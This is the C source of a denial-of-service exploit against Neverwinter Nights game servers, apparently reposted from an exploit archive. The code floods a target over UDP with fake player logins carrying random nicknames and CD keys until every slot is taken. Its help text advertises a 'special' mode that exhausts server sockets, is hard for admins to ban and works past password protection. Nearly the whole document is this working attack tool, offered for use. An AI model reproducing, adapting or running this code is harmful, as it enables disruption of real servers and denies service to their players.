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Neverwinter Nights special Fake Players Denial of Service Exploit
================================================================= Neverwinter Nights special Fake Players Denial of Service Exploit ================================================================= /* by Luigi Auriemma */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #ifdef WIN32 #include <winsock.h> /* Header file used for manage errors in Windows It support socket and errno too (this header replace the previous sock_errX.h) */ #include <string.h> #include <errno.h> void std_err(void) { char *error; switch(WSAGetLastError()) { case 10004: error = "Interrupted system call"; break; case 10009: error = "Bad file number"; break; case 10013: error = "Permission denied"; break; case 10014: error = "Bad address"; break; case 10022: error = "Invalid argument (not bind)"; break; case 10024: error = "Too many open files"; break; case 10035: error = "Operation would block"; break; case 10036: error = "Operation now in progress"; break; case 10037: error = "Operation already in progress"; break; case 10038: error = "Socket operation on non-socket"; break; case 10039: error = "Destination address required"; break; case 10040: error = "Message too long"; break; case 10041: error = "Protocol wrong type for socket"; break; case 10042: error = "Bad protocol option"; break; case 10043: error = "Protocol not supported"; break; case 10044: error = "Socket type not supported"; break; case 10045: error = "Operation not supported on socket"; break; case 10046: error = "Protocol family not supported"; break; case 10047: error = "Address family not supported by protocol family"; break; case 10048: error = "Address already in use"; break; case 10049: error = "Can't assign requested address"; break; case 10050: error = "Network is down"; break; case 10051: error = "Network is unreachable"; break; case 10052: error = "Net dropped connection or reset"; break; case 10053: error = "Software caused connection abort"; break; case 10054: error = "Connection reset by peer"; break; case 10055: error = "No buffer space available"; break; case 10056: error = "Socket is already connected"; break; case 10057: error = "Socket is not connected"; break; case 10058: error = "Can't send after socket shutdown"; break; case 10059: error = "Too many references, can't splice"; break; case 10060: error = "Connection timed out"; break; case 10061: error = "Connection refused"; break; case 10062: error = "Too many levels of symbolic links"; break; case 10063: error = "File name too long"; break; case 10064: error = "Host is down"; break; case 10065: error = "No Route to Host"; break; case 10066: error = "Directory not empty"; break; case 10067: error = "Too many processes"; break; case 10068: error = "Too many users"; break; case 10069: error = "Disc Quota Exceeded"; break; case 10070: error = "Stale NFS file handle"; break; case 10091: error = "Network SubSystem is unavailable"; break; case 10092: error = "WINSOCK DLL Version out of range"; break; case 10093: error = "Successful WSASTARTUP not yet performed"; break; case 10071: error = "Too many levels of remote in path"; break; case 11001: error = "Host not found"; break; case 11002: error = "Non-Authoritative Host not found"; break; case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break; case 11004: error = "Valid name, no data record of requested type"; break; default: error = strerror(errno); break; } fprintf(stderr, "\nError: %s\n", error); exit(1); } #define close closesocket #define FIVESEC 5000 #else #include <unistd.h> #include <sys/socket.h> #include <sys/types.h> #include <arpa/inet.h> #include <netinet/in.h> #include <netdb.h> #define FIVESEC 5 #endif #define VER "0.1" #define BUFFSZ 2048 #define PORT 5121 #define TIMEOUT 3 #define NICKSZ 8 // if you modify here, you must modify pck1 too! #define SEND(x) if(sendto(sd, x, sizeof(x) - 1, 0, (struct sockaddr *)&peer, sizeof(peer)) \ < 0) std_err(); \ fputc('.', stdout); #define RECV if(timeout(sd) < 0) { \ fputs("\n" \ "Error: socket timeout, no reply received\n" \ "\n", stdout); \ exit(1); \ } \ len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL); \ if(len < 0) std_err(); \ fputc('.', stdout); int find_gamever(u_char *data, int len); int create_rand_string(u_char *data, int len, u_int tmp); int timeout(int sock); u_long resolv(char *host); void std_err(void); int main(int argc, char *argv[]) { struct sockaddr_in peer, peerl; u_int seed; int sd, i, len, on = 1, special = 0, info_only = 0, ser_ver = 0; u_short port = PORT; u_char buff[BUFFSZ], query[] = "\xfe\xfd\x00\x00\x00\x00\x00\xff\x00\x00", srvname[] = "BNES" "\x00\x14" "\x00", info[] = "BNXI" "\x00\x14", pck1[] = "BNCS" "\x00\x14" "\x10" "\x00\x00\x00\x00" // 8062 = version "\x03\x00" "\x01" "\x00\x00\x00\x00" // random "\x08" "abcdefgh" // NICKSZ and nickname "\x08" "00000000", // cd-key pck2[] = "BNVS" "\x50\x03" "\x28" "0000000000000000000000000000000000000000" "\x28" "0000000000000000000000000000000000000000" "\x28" "0000000000000000000000000000000000000000" "\x20" "00000000000000000000000000000000" "\x20" "00000000000000000000000000000000"; setbuf(stdout, NULL); fputs("\n" "Neverwinter Nights special Fake Players DoS "VER"\n" "by Luigi Auriemma\n" "e-mail: aluigi@altervista.org\n" "web: http://aluigi.altervista.org\n" "\n", stdout); if(argc < 2) { printf("\n" "Usage: %s [options] <host>\n" "\n" "Options:\n" "-p PORT server port (default %d)\n" "-s special attack, you will be able to consume all the server sockets\n" " simply sending less than 100 packets each time. This type of attack\n" " is useful because the admin cannot easily ban your IP and is fast.\n" " It is automatically enabled if the server is protected by password.\n" " -> This is the ONLY way to fill an internet server!!! Without this\n" " option you can fill only local servers!\n" "-i informations only, requests remote informations and exits\n" "-v VER server version, by default this tool automatically retrieves the\n" " exact remote version (needed for the attack)\n" "\n" " Works also versus servers protected by password without knowing the keyword!\n" "\n", argv[0], port); exit(1); } argc--; for(i = 1; i < argc; i++) { switch(argv[i][1]) { case 'p': port = atoi(argv[++i]); break; case 's': special = 1; break; case 'i': info_only = 1; break; case 'v': ser_ver = atoi(argv[++i]); break; default: { printf("\nError: wrong command-line argument (%s)\n\n", argv[i]); exit(1); } } } #ifdef WIN32 WSADATA wsadata; WSAStartup(MAKEWORD(1,0), &wsadata); #endif peer.sin_addr.s_addr = resolv(argv[argc]); peer.sin_port = htons(port); peer.sin_family = AF_INET; peerl.sin_addr.s_addr = INADDR_ANY; peerl.sin_port = htons(time(NULL)); peerl.sin_family = AF_INET; printf("- target %s : %hu\n", inet_ntoa(peer.sin_addr), port); fputs("- request informations:\n", stdout); sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if(sd < 0) std_err(); SEND(srvname); RECV; if(memcmp(buff, "BNER", 4)) { fputs("\nError: bad reply from the server\n\n", stdout); exit(1); } buff[buff[8] + 9] = 0x00; printf("\n" " Server name %s\n", buff + 9); SEND(info); RECV; close(sd); if(memcmp(buff, "BNXR", 4)) { fputs("\nError: bad reply from the server\n\n", stdout); exit(1); } buff[buff[19] + 20] = 0x00; printf("\n" " Game port %d\n" " Player Password %s\n" " Levels %d -> %d\n" " Players %d / %d\n" " Local Characters Allowed %s\n" " Player vs Player %s\n" " Players Pause Enabled %s\n" " Only One Party %s\n" " Enforce Legal Characters %s\n" " Item Level Restrictions %s\n" " Module %s\n" "\n", *(u_short *)(buff + 4), buff[7] ? "on" : "off", buff[8], buff[9], buff[10], buff[11], buff[12] ? "on" : "off", buff[13] ? "party or full" : "none", buff[14] ? "on" : "off", buff[15] ? "on" : "off", buff[16] ? "on" : "off", buff[17] ? "on" : "off", buff + 20); if(info_only) return(0); if(!ser_ver) { fputs("- retrieve server version (needed!):\n", stdout); sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if(sd < 0) std_err(); *(u_long *)(query + 3) = peer.sin_addr.s_addr; // something random SEND(query); RECV; close(sd); ser_ver = find_gamever(buff, len); if(ser_ver <= 0) { fputs("\n" "Error: no gamever field found, you must manually specify the server version\n" " with the -v option\n" "\n", stdout); exit(1); } } printf("\n- server version %d\n", ser_ver); *(u_long *)(pck1 + 7) = ser_ver; seed = time(NULL); fputs("- start attack:\n", stdout); for(;;) { for(i = 0;; i++) { if(special) printf("\n Packet %d: ", i); else fputs("\n Player: ", stdout); sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if(sd < 0) std_err(); if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on)) < 0) std_err(); peerl.sin_port++; if(bind(sd, (struct sockaddr *)&peerl, sizeof(peerl)) < 0) std_err(); *(u_long *)(pck1 + 14) = peerl.sin_port; seed = create_rand_string(pck1 + 19, NICKSZ, seed); // random nick seed = create_rand_string(pck1 + 20 + NICKSZ, 8, seed); // random cd-key SEND(pck1); RECV; if(buff[6] != 0x56) { if(buff[7] == 5) { close(sd); break; } else if(buff[7] == 2) { fputs("\nError: wrong version, server uses another version (check the -v option)\n\n", stdout); exit(1); } else if(buff[7] == 6) { fputs("\nAlert: a player with a same name already exists, I wait 5 seconds and retry\n", stdout); close(sd); sleep(FIVESEC); continue; } else if(buff[7] == 10) { fputs("\nError: you are banned on this server\n\n", stdout); exit(1); } else if(buff[7] == 12) { fputs("\nError: your nickname contains wrong chars\n\n", stdout); exit(1); } else if(buff[7] == 32) { fputs("- password protection, I bypass it", stdout); close(sd); continue; } else { printf("\nError: the fake player has not been accepted (error %d)\n\n", buff[7]); exit(1); } } if(special) { close(sd); continue; } RECV; seed = create_rand_string(pck2 + 7, 40, seed); seed = create_rand_string(pck2 + 48, 40, seed); seed = create_rand_string(pck2 + 89, 40, seed); seed = create_rand_string(pck2 + 130, 32, seed); seed = create_rand_string(pck2 + 163, 32, seed); SEND(pck2); RECV; if(!memcmp(buff, "BNVRR", 5)) { fputs("\n" "Error: the player seems to have not been accepted.\n" " Remember that you must use the special attack (-s option) to fill\n" " internet servers!\n" "\n", stdout); } close(sd); } fputs("- server full", stdout); sleep(FIVESEC); } return(0); } int find_gamever(u_char *data, int len) { int nt = 0, ver = -1; u_char *p, *limit; limit = data + len; data += 5; while(data < limit) { p = strchr(data, 0x00); if(!p) break; *p = 0x00; if(!nt) { if(!*data) break; if(!strcmp(data, "gamever")) ver = 0; nt++; } else { if(!ver) ver = atoi(data); nt = 0; } data = p + 1; } return(ver); } int create_rand_string(u_char *data, int len, u_int tmp) { if(!tmp) tmp++; while(len--) { tmp = (*data + tmp) % 62; if(tmp <= 9) { *data = tmp + '0'; } else if((tmp >= 10) && (tmp <= 35)) { *data = (tmp - 10) + 'A'; } else { *data = (tmp - 36) + 'a'; } data++; } return(tmp << 1); } int timeout(int sock) { struct timeval tout; fd_set fd_read; int err; tout.tv_sec = TIMEOUT; tout.tv_usec = 0; FD_ZERO(&fd_read); FD_SET(sock, &fd_read); err = select(sock + 1, &fd_read, NULL, NULL, &tout); if(err < 0) std_err(); if(!err) return(-1); return(0); } u_long resolv(char *host) { struct hostent *hp; u_long host_ip; host_ip = inet_addr(host); if(host_ip == INADDR_NONE) { hp = gethostbyname(host); if(!hp) { printf("\nError: Unable to resolv hostname (%s)\n", host); exit(1); } else host_ip = *(u_long *)hp->h_addr; } return(host_ip); } #ifndef WIN32 void std_err(void) { perror("\nError"); exit(1); } #endif # 0day.today [2024-11-16] #